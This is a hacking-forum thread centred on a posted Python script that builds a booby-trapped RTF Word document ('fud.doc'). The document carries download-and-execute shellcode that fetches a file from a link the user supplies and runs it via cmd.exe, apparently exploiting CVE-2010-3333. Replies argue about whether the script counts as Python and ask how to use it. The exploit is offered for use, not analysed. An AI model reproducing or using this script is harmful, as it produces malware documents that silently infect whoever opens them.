Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

Silent Word Doc Exploit

well after hours of bordem and anime nd various other amusments this is what i came up with :P


import binascii

filename = "fud.doc"

file="{\\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}{\f1\fswiss\fprq2\fcharset0 Berlin Sans FB Demi;}{\f2\fnil\fcharset2 Symbol;}}{/*/*/*}"
file+="\x0d\x0a"
file+="{\colortbl ;\red128\green128\blue0;}"
file+="{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard{\pntext\f2\'B7\tab}{\*\pn\pnlvlblt\pnf2\pnindent0{\pntxtb\'B7}}\fi-720\li720\qc\cf1\ul\b\i\f0\fs20 5/28/2011\cf0\ulnone\b0\i0\par"
file+="\cf1\ul\b\i\f1\fs40{\pntext\f2\'B7\tab}HI ........\cf0\ulnone\b0\i0\f0\fs20\par{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\shpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv {\*}9;2;ffffffffff#0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD909090909090414141414141414141414141eb7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500"
URL="your link here"
URL2="00"
nxt="{}}}}}}"

binnu=binascii.b2a_hex(URL)
textfile = open(filename , 'w')
textfile.write(file+binnu+URL2+nxt)
textfile.close()
Hey OP, thanks for posting. I tried your code, but I cant figure out how use this. I tried to copy and paste it into a .py file I already have, and it wont save afterwards. Any help will be appreciated.
Which CVE is this? 2010-3333?
This shouldn't be in the python section.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
(Nov 3, 2016 05:53 PM)Goodies Wrote:  This shouldn't be in the python section.
Why? Looks like python to me.
(Nov 4, 2016 08:12 AM)Mouse❤️ Wrote:  Why? Looks like python to me.

There is nothing about python ..
Hey OP, thanks for posting. I tried your code, but I cant figure out how use this. I tried to copy and paste it into a .py file I already have, and it wont save afterwards. Any help will be appreciated.
py uzantılımıolacak bu yazrasmnısnız
(Nov 4, 2016 08:38 AM)SIM-1866423 Wrote:  There is nothing about python ..
Are we not looking at the same code?

Code
import binascii
(Nov 5, 2016 09:16 AM)Mouse❤️ Wrote:  Are we not looking at the same code?

Code
import binascii

There is absolutely nothing python about this...
Python is only the syringe that delivering the payload.

With 5 clicks of a mouse, you can change this to perl. The payload itself has NOTHING to do with python.

Example:
Code
import os

source = """"
public class Foo{
    public static void main(String args[]){
        System.out.println("Hello, world!");
    }
}
"""

with open("file.java", "w") as fout:
    fout.write(source)
os.system("javac file.java")

Do you see how, even though Python is writing the file, this has nothing to do with Python at all? This is java.
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
(Nov 6, 2016 11:36 AM)Goodies Wrote:  There is absolutely nothing python about this...
Python is only the syringe that delivering the payload.

With 5 clicks of a mouse, you can change this to perl. The payload itself has NOTHING to do with python.

Example:
Code
import os

source = """"
public class Foo{
    public static void main(String args[]){
        System.out.println("Hello, world!");
    }
}
"""

with open("file.java", "w") as fout:
    fout.write(source)
os.system("javac file.java")

Do you see how, even though Python is writing the file, this has nothing to do with Python at all? This is java.
Oh, I understand entirely. It's just that technically, it's not "wrong" to say it's Python. It's just that it's barely so.
(Nov 6, 2016 11:36 AM)Goodies Wrote:  There is absolutely nothing python about this...
Python is only the syringe that delivering the payload.

With 5 clicks of a mouse, you can change this to perl. The payload itself has NOTHING to do with python.

Example:
Code
import os

source = """"
public class Foo{
    public static void main(String args[]){
        System.out.println("Hello, world!");
    }
}
"""

with open("file.java", "w") as fout:
    fout.write(source)
os.system("javac file.java")

Do you see how, even though Python is writing the file, this has nothing to do with Python at all? This is java.

Goodies. Could u do me the favor of advising how i could use this code. I am assuming it outputs a doc file dat performs a DL and EXEC function when opened. But i have no idea how to compile it in the first place. I tried saving it as .py file, but it wont let me save the file. Any help please.
(Nov 6, 2016 11:36 AM)Goodies Wrote:  There is absolutely nothing python about this...
Python is only the syringe that delivering the payload.

With 5 clicks of a mouse, you can change this to perl. The payload itself has NOTHING to do with python.

Example:
Code
import os

source = """"
public class Foo{
    public static void main(String args[]){
        System.out.println("Hello, world!");
    }
}
"""

with open("file.java", "w") as fout:
    fout.write(source)
os.system("javac file.java")

Do you see how, even though Python is writing the file, this has nothing to do with Python at all? This is java.

The code that generates this is python, thus making OP's script a python script.
Quite sorry for not replying been working on new project but more or less it its a script it was put that way so skids would not abuse such
Hi pmed you this doesnt seem legit


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by Osiris094Nov 5, 2018 05:37 PM 3 196 Nov 5, 2018 05:37 PM
Last Post: Strayaa
[Python] by thomas99Mar 14, 2018 11:52 PM 0 187 Mar 14, 2018 11:52 PM
Last Post: thomas99
[.NET] by tmsuccessJan 24, 2018 11:21 AM 1 253 Jan 24, 2018 11:21 AM
Last Post: Eagle 95